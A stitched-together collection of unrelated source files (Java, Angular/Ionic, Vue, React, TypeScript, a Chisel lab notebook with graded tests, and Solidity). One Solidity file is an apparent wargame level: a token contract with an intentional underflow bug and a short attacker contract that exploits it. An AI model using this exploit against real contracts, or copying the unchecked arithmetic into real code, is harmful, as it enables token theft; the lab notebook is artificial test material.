pattern explains. * Just remember that a {@link StringParser} should be treated like it's {@link Immutable} so * make sure your callers can't tell the difference when you switch parser. * * @return the delegate to pass non-overridden calls to */ @Nonnull protected abstract StringParser<T> delegate(); @Override public String descriptionOfValidValues(Locale locale) { return delegate().descriptionOfValidValues(locale); } @Override public T parse(final String value, Locale locale) throws ArgumentException { return delegate().parse(value, locale); } @Override public T defaultValue() { return delegate().defaultValue(); } @Override public String metaDescription() { return delegate().metaDescription(); } @Override public String toString() { return descriptionOfValidValues(Locale.US); } /** * A {@link ForwardingStringParser} that uses an already created {@link StringParser} as its * delegate. * * @param <T> the type the decorated {@link StringParser} handles */ public abstract static class SimpleForwardingStringParser<T> extends ForwardingStringParser<T> { @Nonnull private final StringParser<T> delegate; protected SimpleForwardingStringParser(final StringParser<T> delegate) { this.delegate = delegate; } @Override protected final StringParser<T> delegate() { return delegate; } } }
/* * * Copyright (C) 2010 Colibria AS * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package com.colibria.android.sipservice.sip.messages; import com.colibria.android.sipservice.MimeType; import com.colibria.android.sipservice.sip.Address; import com.colibria.android.sipservice.sip.URI; import com.colibria.android.sipservice.sip.headers.*; import com.colibria.android.sipservice.sip.tx.Utils; import java.util.HashMap; import java.util.List; /** * @author Sebastian Dehne */ public class Message extends Request { public static final String NAME = "MESSAGE"; /** * Used by the message parser to construct a new instance of this class * * @param requestUri the requestURI * @param headers all headers * @param body the body */ public Message(URI requestUri, HashMap<String, List<SipHeader>> headers, byte[] body) { super(NAME, requestUri, headers, body); } /** * Prepares a new MESSAGE request for a new client transaction * * @param requestUri the requestURI * @param from the from address * @param to the to address * @param cSeq cSeq value * @param routeSet route set * @param contentType content type * @param body body */ public Message(URI requestUri, Address from, Address to, long cSeq, List<RouteHeader> routeSet, MimeType contentType, byte[] body) { super(NAME, requestUri, null, body); setHeader(new FromHeader(from)); setHeader(new ToHeader(to)); setHeader(new CSeqHeader(cSeq, NAME)); if (body != null && body.length > 0) { setHeader(new ContentTypeHeader(contentType)); } setHeader(new CallIDHeader(Utils.generateCallIdentifier(requestUri))); addHeaders(routeSet); } }
<ion-header> <ion-toolbar mode="ios"> <ion-buttons slot="start"> <ion-back-button text="Atras" defaultHref="/" ></ion-back-button> </ion-buttons> <ion-title> Checkout </ion-title> </ion-toolbar> </ion-header> <ion-content [fullscreen]="true"> <ion-grid class="ion-padding"> <form class="form" [formGroup]="rentalForm" (ngSubmit)="submitRentalForm(rentalForm.value)" > <ion-row *ngIf="!bikeSelected"> <ion-col size="12" class="form-input" > <ion-text color="dark"> <h6>Selecciona tu bicicletaa reservar</h6> </ion-text> <ion-input formControlName="bike" type="text" name="bike" mode="ios" placeholder="Selecciona tu bicicleta" (click)="selectBikeInformation()" readonly required > </ion-input> <div class="validation-errors"> <ng-container *ngFor="let validation of validation_messages.bike"> <div class="error-message" *ngIf="rentalForm.get('bike').hasError(validation.type) && (rentalForm.get('bike').dirty || rentalForm.get('bike').touched)" > {{ validation.message }} </div> </ng-container> </div> </ion-col> </ion-row> <ion-row *ngIf="bikeSelected"> <ion-col size="12"> <ion-thumbnail> <ion-img [src]="bikeSelected.thumbnail"></ion-img> </ion-thumbnail> </ion-col> <ion-col size="8"> <ion-text color="dark"> <h6>Descripción</h6> </ion-text> <ion-text color="dark"> <h1>{{bikeSelected.title}}</h1> </ion-text> <ion-text color="medium"> <p>{{bikeSelected.description | slice:0:50}}...</p> </ion-text> </ion-col> <ion-col size="4"> <ion-text color="dark"> <h6>Precio X Día</h6> </ion-text> <ion-text color="dark"> <h1>{{bikeSelected.price | currency:'EUR':true}}</h1> </ion-text> <ion-text color="medium" *ngIf="bikeSelected.type === 'Premium'" > <p> <ion-icon name="star" color="warning" ></ion-icon>{{bikeSelected.type}} </p> </ion-text> </ion-col> <ion-col size="6"> <ion-text color="dark"> <h5>Días requeridos</h5> </ion-text> </ion-col> <ion-col size="6"> <app-counter-day [sourceCounter]="daySelected" (handleIncreaseClicked)="increaseDays($event)" (handleDecreaseClicked)="decreaseDays($event)" ></app-counter-day> </ion-col> <ion-col size="8"> <ion-text color="dark"> <h5>Total a Pagar</h5> </ion-text> </ion-col> <ion-col size="4"> <ion-text color="dark"> <h1>{{totalAmount | currency:'EUR':true }}</h1> </ion-text> </ion-col> <ion-col size="12" class="form-input" > <ion-button expand="block" mode="ios" color="tertiary" type="submit" [disabled]="!rentalForm.valid" >Completar checkout</ion-button> </ion-col> </ion-row> </form> </ion-grid> </ion-content>
<!-- 搜索表单 --> <template> <a-form :label-col=" styleResponsive ? { xl: 7, lg: 5, md: 7, sm: 4 } : { flex: '90px' } " :wrapper-col=" styleResponsive ? { xl: 17, lg: 19, md: 17, sm: 20 } : { flex: '1' } " > <a-row :gutter="8"> <a-col v-bind=" styleResponsive ? { xl: 6, lg: 12, md: 12, sm: 24, xs: 24 } : { span: 6 } " > <a-form-item label="模型名称"> <a-input v-model:value.trim="form.name" placeholder="请输入" allow-clear /> </a-form-item> </a-col> <a-col v-bind=" styleResponsive ? { xl: 4, lg: 12, md: 12, sm: 12, xs: 12 } : { span: 6 } " > <a-form-item label="收费方式"> <a-select v-model:value="form.feeType" placeholder="请选择" allow-clear > <a-select-option :value="0">免费</a-select-option> <a-select-option :value="1">按次数计费</a-select-option> <a-select-option :value="2">按Token计费</a-select-option> </a-select> </a-form-item> </a-col> <a-col v-bind=" styleResponsive ? { xl: 4, lg: 12, md: 12, sm: 12, xs: 12 } : { span: 6 } " > <a-form-item label="状态"> <a-select v-model:value="form.status" placeholder="请选择" allow-clear > <a-select-option :value="0">禁用</a-select-option> <a-select-option :value="1">正常</a-select-option> </a-select> </a-form-item> </a-col> <a-col v-bind=" styleResponsive ? { xl: 2, lg: 12, md: 12, sm: 24, xs: 24 } : { span: 6 } " > <a-form-item class="ele-text-right" :wrapper-col="{ span: 24 }"> <a-space> <a-button type="primary" @click="search">查询</a-button> <a-button @click="reset">重置</a-button> </a-space> </a-form-item> </a-col> </a-row> </a-form> </template> <script lang="ts" setup> import { storeToRefs } from 'pinia'; import { useThemeStore } from '@/store/modules/theme'; import useFormData from '@/utils/use-form-data'; import type { AiModelParam } from '@/api/openai/ai-model/model'; // 是否开启响应式布局 const themeStore = useThemeStore(); const { styleResponsive } = storeToRefs(themeStore); const props = defineProps<{ // 默认搜索条件 where?: AiModelParam; }>(); const emit = defineEmits<{ (e: 'search', where?: AiModelParam): void; }>(); // 表单数据 const { form, resetFields } = useFormData<AiModelParam>({ name: '', status: undefined, feeType: undefined, ...props.where }); /* 搜索 */ const search = () => { emit('search', form); }; /* 重置 */ const reset = () => { resetFields(); search(); }; </script>
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens. contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } // it is working because solidity 0.6.0 does not have safemath and an address will no balance will perform an underflow and will have a very large amount of tokens contract BreakToken { Token private target; constructor(address _target) public { target = Token(_target); } function breakit() external { target.transfer(0x41D22F2e55BD7B6bbb16f82e852a58c36C5D5Cf8, 20); } }
import BankAccount from "./account/bankAccountInteface"; import Actions from "./actions"; class BankAccountCommand { private account: BankAccount; private action: Actions; private amount: number; private succeeded: boolean; constructor(account: BankAccount, action: Actions, amount: number) { this.account = account; this.action = action; this.amount = amount; this.succeeded = false; } call() { switch (this.action) { case Actions.Deposit: this.succeeded = this.account.deposit(this.amount); break; case Actions.Withdraw: this.succeeded = this.account.withdraw(this.amount); break; } } undo() { if (!this.succeeded) return; switch (this.action) { case Actions.Deposit: this.succeeded = this.account.withdraw(this.amount); break; case Actions.Withdraw: this.succeeded = this.account.deposit(this.amount); break; } } } export default BankAccountCommand;
{ "cells": [ { "cell_type": "markdown", "id": "starting-eugene", "metadata": {}, "source": [ "Before you turn this problem in, make sure everything runs as expected. First, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart) and then **run all cells** (in the menubar, select Cell$\\rightarrow$Run All).\n", "\n", "Make sure you fill in any place that says `YOUR CODE HERE` or \"YOUR ANSWER HERE\", as well as your name and collaborators below:" ] }, { "cell_type": "code", "execution_count": null, "id": "billion-baker", "metadata": {}, "outputs": [], "source": [ "val NAME = \"\"\n", "val COLLABORATORS = \"\"" ] }, { "cell_type": "markdown", "id": "extensive-midwest", "metadata": {}, "source": [ "---" ] }, { "cell_type": "markdown", "id": "thick-battery", "metadata": { "cell_style": "center", "deletable": false, "editable": false, "nbgrader": { "cell_type": "markdown", "checksum": "e742e9f55692d0f9a63b54c35a528d4f", "grade": false, "grade_id": "header", "locked": true, "schema_version": 3, "solution": false, "task": false }, "slideshow": { "slide_type": "slide" } }, "source": [ "# Lab2 Sequential Logic\n", "> Labs will be due each week before the homeworks. They are not intended take a significant amount of time but rather to provide examples/practice on specific and isolated features in the language. Labs are autograded so you can get quick feedback." ] }, { "cell_type": "markdown", "id": "dramatic-checklist", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "markdown", "checksum": "9f555f0f7ac7048748fcf1a467a08721", "grade": false, "grade_id": "imports-header", "locked": true, "schema_version": 3, "solution": false, "task": false } }, "source": [ "### Import the necessary Chisel dependencies. \n", "> There will be a cell like this in every lab. Make sure you run it before proceeding to bring the Chisel Library into the Jupyter Notebook scope!" ] }, { "cell_type": "code", "execution_count": null, "id": "imposed-egypt", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "code", "checksum": "21f209c2374499cd3c6c5043e35a7f90", "grade": false, "grade_id": "imports1", "locked": true, "schema_version": 3, "solution": false, "task": false } }, "outputs": [], "source": [ "val path = System.getProperty(\"user.dir\") + \"/resource/chisel_deps.sc\"\n", "interp.load.module(ammonite.ops.Path(java.nio.file.FileSystems.getDefault().getPath(path)))" ] }, { "cell_type": "code", "execution_count": null, "id": "respiratory-board", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "code", "checksum": "983b6f254eef272a20e1a6a44677fe6b", "grade": false, "grade_id": "imports", "locked": true, "schema_version": 3, "solution": false, "task": false } }, "outputs": [], "source": [ "import chisel3._\n", "import chisel3.util._\n", "import chiseltest._\n", "import chisel3.tester.RawTester.test" ] }, { "cell_type": "markdown", "id": "sharp-desperate", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "markdown", "checksum": "2e18601908f9b79b143461ca283ebc9d", "grade": false, "grade_id": "register-header", "locked": true, "schema_version": 3, "solution": false, "task": false } }, "source": [ "## Problem 1 (2 pts) - State\n", "> We can use registers to store state across multiple cycles. In Chisel, to build registers we use `Reg` as well as `RegNext` and `RegInit` ([more info](https://www.chisel-lang.org/chisel3/docs/explanations/sequential-circuits.html)). Fill in the `Delay2` module such that `out` signal is equal to the `in` signal delayed by 2 cycles." ] }, { "cell_type": "code", "execution_count": null, "id": "damaged-asbestos", "metadata": { "deletable": false, "nbgrader": { "cell_type": "code", "checksum": "2510ffc5837458a4086ba03c17f22c91", "grade": false, "grade_id": "delay2", "locked": false, "schema_version": 3, "solution": true, "task": false } }, "outputs": [], "source": [ "class Delay2 extends Module {\n", " val io = IO(new Bundle {\n", " val in = Input(UInt(5.W))\n", " val out = Output(UInt(5.W))\n", " })\n", " \n", " // YOUR CODE HERE\n", " ???\n", "}" ] }, { "cell_type": "code", "execution_count": null, "id": "embedded-division", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "code", "checksum": "f18694071a9f4d651c90365471aed233", "grade": true, "grade_id": "test-delay2", "locked": true, "points": 2, "schema_version": 3, "solution": false, "task": false } }, "outputs": [], "source": [ "def testDelay2: Boolean = {\n", " test(new Delay2) { dut =>\n", " // Cycle0\n", " dut.io.in.poke(5.U)\n", " dut.io.out.expect(0.U)\n", " dut.clock.step(1)\n", " \n", " \n", " // Cycle1\n", " dut.io.in.poke(4.U)\n", " dut.io.out.expect(0.U)\n", " dut.clock.step(1)\n", " \n", " \n", " // Cycle2\n", " dut.io.in.poke(3.U)\n", " dut.io.out.expect(5.U)\n", " dut.clock.step(1)\n", " \n", " // Cycle3\n", " dut.io.out.expect(4.U)\n", " dut.clock.step(1)\n", " \n", " // Cycle4\n", " dut.io.out.expect(3.U)\n", " dut.clock.step(1)\n", " }\n", " true\n", "}\n", "assert(testDelay2)" ] }, { "cell_type": "markdown", "id": "unlike-novelty", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "markdown", "checksum": "a96f741f0e1ab10e5e401e45cc01efee", "grade": false, "grade_id": "accum-header", "locked": true, "schema_version": 3, "solution": false, "task": false } }, "source": [ "## Problem 2 (3 pts) - Accumulator\n", "> Let's build an _accumulator_. Each cycle `en` is high, it will add `in` to it's internal total. The internal total is visible as the output `out`. The internal total should initialize to 0 on reset." ] }, { "cell_type": "code", "execution_count": null, "id": "relative-simulation", "metadata": { "deletable": false, "nbgrader": { "cell_type": "code", "checksum": "100fc25d3ecda8bf21f909ec581c9f70", "grade": false, "grade_id": "Accumulator", "locked": false, "schema_version": 3, "solution": true, "task": false } }, "outputs": [], "source": [ "class Accumulator(n: Int) extends Module {\n", " val io = IO(new Bundle {\n", " val in = Input(UInt(n.W))\n", " val en = Input(Bool())\n", " val out = Output(UInt(n.W))\n", " })\n", " \n", " // YOUR CODE HERE\n", " ???\n", " \n", "}" ] }, { "cell_type": "code", "execution_count": null, "id": "trained-tuition", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "code", "checksum": "706e40265b3601d0f15e009201204c48", "grade": true, "grade_id": "test-accumulator", "locked": true, "points": 3, "schema_version": 3, "solution": false, "task": false } }, "outputs": [], "source": [ "def testAccumulator: Boolean = {\n", " test(new Accumulator(4)) { dut =>\n", " // Cycle 0\n", " dut.io.in.poke(0.U)\n", " dut.io.en.poke(0.B)\n", " dut.clock.step(1)\n", " dut.io.out.expect(0.U)\n", "\n", " // Cycle 1\n", " dut.io.in.poke(0.U)\n", " dut.io.en.poke(0.B)\n", " dut.clock.step(1)\n", " dut.io.out.expect(0.U)\n", "\n", " // Cycle 2\n", " dut.io.in.poke(3.U)\n", " dut.io.en.poke(0.B)\n", " dut.clock.step(1)\n", " dut.io.out.expect(0.U)\n", "\n", " // Cycle 3\n", " dut.io.in.poke(3.U)\n", " dut.io.en.poke(1.B)\n", " dut.clock.step(1)\n", " dut.io.out.expect(3.U)\n", "\n", " // Cycle 3\n", " dut.io.in.poke(4.U)\n", " dut.io.en.poke(1.B)\n", " dut.clock.step(1)\n", " dut.io.out.expect(7.U) \n", " }\n", " true\n", "}\n", "\n", "assert(testAccumulator)" ] }, { "cell_type": "markdown", "id": "exposed-combination", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "markdown", "checksum": "e088736ec97ef7b103b01e08cb42c7cc", "grade": false, "grade_id": "cell-4310bf1dd699ea36", "locked": true, "schema_version": 3, "solution": false, "task": false } }, "source": [ "## Problem 3 (2 pts) - Scala Loops\n", "> To familiarize ourselves with looping in Scala, we will attempt a variant of the game [_Fizz buzz_](https://en.wikipedia.org/wiki/Fizz_buzz):\n", "\n", "* Count from 1 until `max` (exclusive)\n", "* Maintain three sums: `fizz`, `buzz`, and `fizzbuzz`\n", "* If the current count is divisible by ...\n", " * `15` add count to `fizzbuzz`\n", " * `5` add count to `buzz`\n", " * `3` add count to `fizz`\n", " * Add to the sums with the precedence rules given, so for example, if the count is `15`, only add to `fizzbuzz`." ] }, { "cell_type": "code", "execution_count": null, "id": "coupled-personal", "metadata": { "deletable": false, "nbgrader": { "cell_type": "code", "checksum": "139fe9e48e22e24f0249d4c3262fa905", "grade": false, "grade_id": "fizzbuzz", "locked": false, "schema_version": 3, "solution": true, "task": false } }, "outputs": [], "source": [ "def fizzbuzz(max: Int): (Int, Int, Int) = {\n", " var (fizz, buzz, fizzbuzz) = (0, 0, 0)\n", " \n", " // YOUR CODE HERE\n", " ???\n", "}\n", "\n", "fizzbuzz(20)" ] }, { "cell_type": "code", "execution_count": null, "id": "celtic-statistics", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "code", "checksum": "673abbadab0e2e675e68ae2576fe05ac", "grade": true, "grade_id": "testfizzbuzz", "locked": true, "points": 2, "schema_version": 3, "solution": false, "task": false } }, "outputs": [], "source": [ "assert(fizzbuzz(2) == (0, 0, 0))\n", "assert(fizzbuzz(20) == (48, 15, 15))\n", "assert(fizzbuzz(35) == (153, 60, 45))\n" ] }, { "cell_type": "markdown", "id": "announced-triangle", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "markdown", "checksum": "9cc9f8fdda7aea52c580553111fed516", "grade": false, "grade_id": "chiselvec-header", "locked": true, "schema_version": 3, "solution": false, "task": false } }, "source": [ "## Problem 4 (3 pts) - ROM\n", "> Vecs allow us to dynamically index into a Chisel collection during operation in the generated hardware. The `ROM` module provided below stores 32 read-only UInts (0.U to 31.U) and selects one to output via the `select` signal. Fill in the tester `testROM` to exhaustively test all of `ROM`'s inputs." ] }, { "cell_type": "code", "execution_count": null, "id": "random-marijuana", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "code", "checksum": "175562bad4f477c2caf2770ac4012aad", "grade": false, "grade_id": "ROM", "locked": true, "schema_version": 3, "solution": false, "task": false } }, "outputs": [], "source": [ "class ROM extends Module {\n", " val io = IO(new Bundle {\n", " val select = Input(UInt(5.W))\n", " val out = Output(UInt(5.W))\n", " })\n", " \n", " // 0.U, 1.U, ..., 31.U\n", " val romData = Seq.tabulate(32)(i => i.U(5.W))\n", " show(s\"romData: $romData\")\n", " \n", " val ROM: Vec[UInt] = VecInit(romData)\n", " \n", " io.out := ROM(io.select)\n", "}" ] }, { "cell_type": "code", "execution_count": null, "id": "based-aggregate", "metadata": { "deletable": false, "nbgrader": { "cell_type": "code", "checksum": "fbc445f3f10848cb6732d12cedcf908f", "grade": false, "grade_id": "testROM", "locked": false, "schema_version": 3, "solution": true, "task": false } }, "outputs": [], "source": [ "def testROM: Boolean = {\n", " test(new ROM) { dut =>\n", " \n", " // YOUR CODE HERE\n", " ???\n", " }\n", " true\n", "}" ] }, { "cell_type": "code", "execution_count": null, "id": "czech-payday", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "code", "checksum": "8ae9e6078a09d1c7535eb4d2b4e297e1", "grade": true, "grade_id": "test-testROM", "locked": true, "points": 3, "schema_version": 3, "solution": false, "task": false } }, "outputs": [], "source": [ "assert(testROM)" ] }, { "cell_type": "markdown", "id": "designed-stevens", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "markdown", "checksum": "d739e81a42fb5a548ad5fb9036d08234", "grade": false, "grade_id": "chiselvec2-header", "locked": true, "schema_version": 3, "solution": false, "task": false } }, "source": [ "## Problem 5 (5 pts) - Parameterized ROM\n", "> In this problem we will revise the module `ROM` from the previous problem, so ensure your tester for it is complete and correct first. Write a `ROM2` module below that takes a Scala Int `size` as a parameter. `ROM2` will generates `size` read-only UInts stored as a `Vec`. The `select` input signal will determine which UInt to set output `out` to. Ensure the widths are correct. `ROM2` behaves the same as `ROM`, except its size is a configurable parameter. You will also need to make a tester for it (`testROM2`)." ] }, { "cell_type": "code", "execution_count": null, "id": "occasional-generic", "metadata": { "deletable": false, "nbgrader": { "cell_type": "code", "checksum": "e590d7da3f90a4b47be66c70621f8dda", "grade": false, "grade_id": "Rom2", "locked": false, "schema_version": 3, "solution": true, "task": false } }, "outputs": [], "source": [ "// YOUR CODE HERE\n", "???" ] }, { "cell_type": "code", "execution_count": null, "id": "recorded-caribbean", "metadata": { "deletable": false, "nbgrader": { "cell_type": "code", "checksum": "34eed9faad8f9c99ce910e1c9a8b7e19", "grade": false, "grade_id": "testRom2", "locked": false, "schema_version": 3, "solution": true, "task": false } }, "outputs": [], "source": [ "def testROM2: Boolean = {\n", " for (size <- Seq(16, 17, 32, 33)) {\n", " test(new ROM2(size)) { dut =>\n", "\n", " // YOUR CODE HERE\n", " ???\n", " }\n", " }\n", " true\n", "}" ] }, { "cell_type": "code", "execution_count": null, "id": "dried-problem", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "code", "checksum": "ae3494b3d69b8a60aab0839b2e49b4b1", "grade": true, "grade_id": "test-testRom2", "locked": true, "points": 5, "schema_version": 3, "solution": false, "task": false } }, "outputs": [], "source": [ "assert(testROM2)\n" ] }, { "cell_type": "markdown", "id": "whole-outside", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "markdown", "checksum": "29bdebf2c1d950f98f4aa97fd10bc728", "grade": false, "grade_id": "scalafunc-header", "locked": true, "schema_version": 3, "solution": false, "task": false } }, "source": [ "## Problem 6 (2 pts) - Scala functions\n", "> We can write Chisel logic within a Scala function and use them within our modules. Write a Scala function named `sum` that takes two UInts as arguments and returns the sum (with width growth). You might find the [Chisel Cheat Sheet](https://github.com/freechipsproject/chisel-cheatsheet/releases/latest/download/chisel_cheatsheet.pdf) a helpful reference." ] }, { "cell_type": "code", "execution_count": null, "id": "alike-contribution", "metadata": { "deletable": false, "nbgrader": { "cell_type": "code", "checksum": "6c992528fce61fcdf10291ca6b6592af", "grade": false, "grade_id": "ScalaCondPractice", "locked": false, "schema_version": 3, "solution": true, "task": false } }, "outputs": [], "source": [ "// YOUR CODE HERE\n", "???" ] }, { "cell_type": "code", "execution_count": null, "id": "liquid-monster", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "code", "checksum": "b95cc90c550f2ca608e9769af5fc9471", "grade": true, "grade_id": "testSum", "locked": true, "points": 2, "schema_version": 3, "solution": false, "task": false } }, "outputs": [], "source": [ "def testSum(): Boolean = {\n", " test(new Module {\n", " val io = IO(new Bundle {\n", " val in1 = Input(UInt(4.W))\n", " val in2 = Input(UInt(4.W))\n", " val out = Output(UInt())\n", " })\n", " io.out := sum(io.in1, io.in2)\n", " }) { dut => \n", " for (in1 <- 0 until 16) {\n", " for (in2 <- 0 until 16) {\n", " dut.io.in1.poke(in1.U)\n", " dut.io.in2.poke(in2.U)\n", " dut.io.out.expect((in1 + in2).U)\n", " }\n", " }\n", " }\n", " true\n", "}\n", "\n", "assert(testSum)" ] }, { "cell_type": "markdown", "id": "lesbian-corner", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "markdown", "checksum": "6c1987126e44cc9cf6b525718b25d180", "grade": false, "grade_id": "histo-header", "locked": true, "schema_version": 3, "solution": false, "task": false } }, "source": [ "## Problem 7 (5 pts) - Histogram\n", "> Let's put `Reg`s and `Vec`s together to build a `Histogram` generator. The generated hardware will maintain `n` (a parameter) sums. Inside the generated hardware, there will be `n` registers. Each cycle the `sel` input chooses which register to add `in` input to. The `out` output should provide the new accumulation value that will written into the register by next cycle. In other words, `out` has no delay to show the new value." ] }, { "cell_type": "code", "execution_count": null, "id": "stuffed-fighter", "metadata": { "deletable": false, "nbgrader": { "cell_type": "code", "checksum": "533aea84581ba01d601e9ccab9c543cf", "grade": false, "grade_id": "Histogram", "locked": false, "schema_version": 3, "solution": true, "task": false } }, "outputs": [], "source": [ "class Histogram(n: Int) extends Module {\n", " val io = IO(new Bundle {\n", " val in = Input(UInt(1.W))\n", " val sel = Input(UInt(log2Ceil(n).W))\n", " val out = Output(UInt(5.W))\n", " })\n", " \n", " // YOUR CODE HERE\n", " ???\n", " \n", "}" ] }, { "cell_type": "code", "execution_count": null, "id": "center-ceiling", "metadata": { "deletable": false, "editable": false, "nbgrader": { "cell_type": "code", "checksum": "95710200f76608813ee6c88a7918903d", "grade": true, "grade_id": "test-histogram", "locked": true, "points": 5, "schema_version": 3, "solution": false, "task": false } }, "outputs": [], "source": [ "def testHistogram: Boolean = {\n", " test(new Histogram(2)) { dut =>\n", " // Cycle0\n", " dut.io.in.poke(1.U)\n", " dut.io.sel.poke(0.U)\n", " dut.io.out.expect(1.U)\n", " dut.clock.step(1)\n", " \n", " \n", " // Cycle1\n", " dut.io.in.poke(1.U)\n", " dut.io.sel.poke(0.U)\n", " dut.io.out.expect(2.U)\n", " dut.clock.step(1)\n", " \n", " \n", " dut.io.in.poke(0.U)\n", " dut.io.sel.poke(1.U)\n", " dut.io.out.expect(0.U)\n", " dut.clock.step(1)\n", " \n", " // Cycle 3\n", " dut.io.in.poke(1.U)\n", " dut.io.sel.poke(1.U)\n", " dut.io.out.expect(1.U)\n", " }\n", " true\n", "}\n", "\n", "assert(testHistogram)" ] } ], "metadata": { "kernelspec": { "display_name": "Scala", "language": "scala", "name": "scala" }, "language_info": { "codemirror_mode": "text/x-scala", "file_extension": ".sc", "mimetype": "text/x-scala", "name": "scala", "nbconvert_exporter": "script", "version": "2.13.4" } }, "nbformat": 4, "nbformat_minor": 5 }
import { FormControl, InputAdornment, InputLabel, Input, Box, Stack, Checkbox, FormControlLabel, Typography, } from '@mui/material'; import { MailOutline as MailOutlineIcon } from '@mui/icons-material'; import { useForm, SubmitHandler } from 'react-hook-form'; import { useCallback } from 'react'; import { Link } from 'react-router-dom'; import { PasswordInput } from '../../components/PasswordInput'; import { Auth } from '../../layouts/Auth'; import styles from './styles.module.css'; import human from '../../assets/Looking-for-candidate.svg'; import { resolver } from './validation'; import { useLogin } from '../../hooks'; import { LoadingButton } from '@mui/lab'; import { AxiosError } from 'axios'; import { parseError } from '../../utils'; interface LoginDTO { name: string; password: string; } interface LoginProps { showRememberMe?: boolean; showForgotPassword?: boolean; } export default function Login({ showForgotPassword, showRememberMe, }: LoginProps) { const { login, error, isFetching } = useLogin(); const { register, handleSubmit, formState: { errors }, } = useForm<LoginDTO>({ resolver, }); const _handleSubmit: SubmitHandler<LoginDTO> = useCallback( ({ name, password }) => { if (typeof login === 'function') login(name, password); }, [login], ); return ( <Auth image={<img alt='data bases' src={human} />} description={ <Typography> If you dont have an account <br /> You can register{' '} <Link to='/register'>here</Link> </Typography> } title='Sign in' > <Box component='form' // eslint-disable-next-line @typescript-eslint/no-misused-promises onSubmit={handleSubmit(_handleSubmit)} className={styles.loginForm} > <FormControl> <InputLabel htmlFor='email'>Email</InputLabel> <Input id='email' inputProps={register('name')} placeholder='Enter your email address' startAdornment={ <InputAdornment position='start'> <MailOutlineIcon /> </InputAdornment> } /> </FormControl> <Typography color='error'>{errors?.name?.message}</Typography> <PasswordInput inputProps={register('password')} /> <Typography color='error'>{errors?.password?.message}</Typography> <Stack direction='row' justifyContent='space-between' alignItems='center' > {showRememberMe && ( <FormControlLabel control={<Checkbox />} label='Remember me' /> )} {showForgotPassword && ( <Link to={'/forgot-password?'}>Forgot password?</Link> )} </Stack> <Typography color='error'>{parseError(error as AxiosError)}</Typography> <LoadingButton loading={isFetching} type='submit' aria-label='login' variant='contained' > Log in </LoadingButton> </Box> </Auth> ); }
import axios from "axios"; import { useRef, useState } from "react"; import { BsFillCheckCircleFill } from "react-icons/bs"; import { Link, useNavigate, useParams } from "react-router-dom"; import toast, { Toaster } from "react-hot-toast" const VerificationCodePage = () => { const [verified, setVerified] = useState(false) const { token } = useParams() const navigate = useNavigate() const code = useRef() const onCheckCode = async (event) => { event.preventDefault(); try { if (code.current.value !== "") { const verifyAccount = await axios.patch(`http://localhost:5000/users/verify`, { token, code: code.current.value }); if (verifyAccount.data.isError) { return toast.error(verifyAccount.data.message) } else { setVerified(true) setTimeout(() => { navigate("/") }, 1500); } } else { return toast.error("Please fill the code!") } } catch (error) { console.log(error); } } return ( <> <Toaster /> { !verified ? ( <div className="verification-code-page"> <div className="verification-container flex flex-col items-center py-52"> <h1 className="text-2xl font-medium mb-8">Please provide the code that was sent to your email.</h1> <form onSubmit={onCheckCode}> <div className="form-container flex gap-2"> <input type="text" placeholder="Your verification code" className="px-6 py-4 border-2 rounded-md" ref={code} /> <button type="submit" className="bg-blue-400 px-4 rounded-md"> <span className="font-medium text-white"> Submit </span> </button> </div> </form> </div> </div> ) : ( <div className="verification-page h-screen"> <div className="verification-page-container flex justify-center items-center py-52"> <div className="verification-modal flex flex-col items-center gap-4"> <span className="text-green-400"> <BsFillCheckCircleFill size={100} /> </span> <h1 className="text-4xl font-bold mb-6">Account verified!</h1> <span className="font-medium text-2xl px-4 py-2 rounded-lg"> You will automatically directed to the main page. </span> </div> </div> </div> ) } </> ) } export default VerificationCodePage;
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface ISwapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, 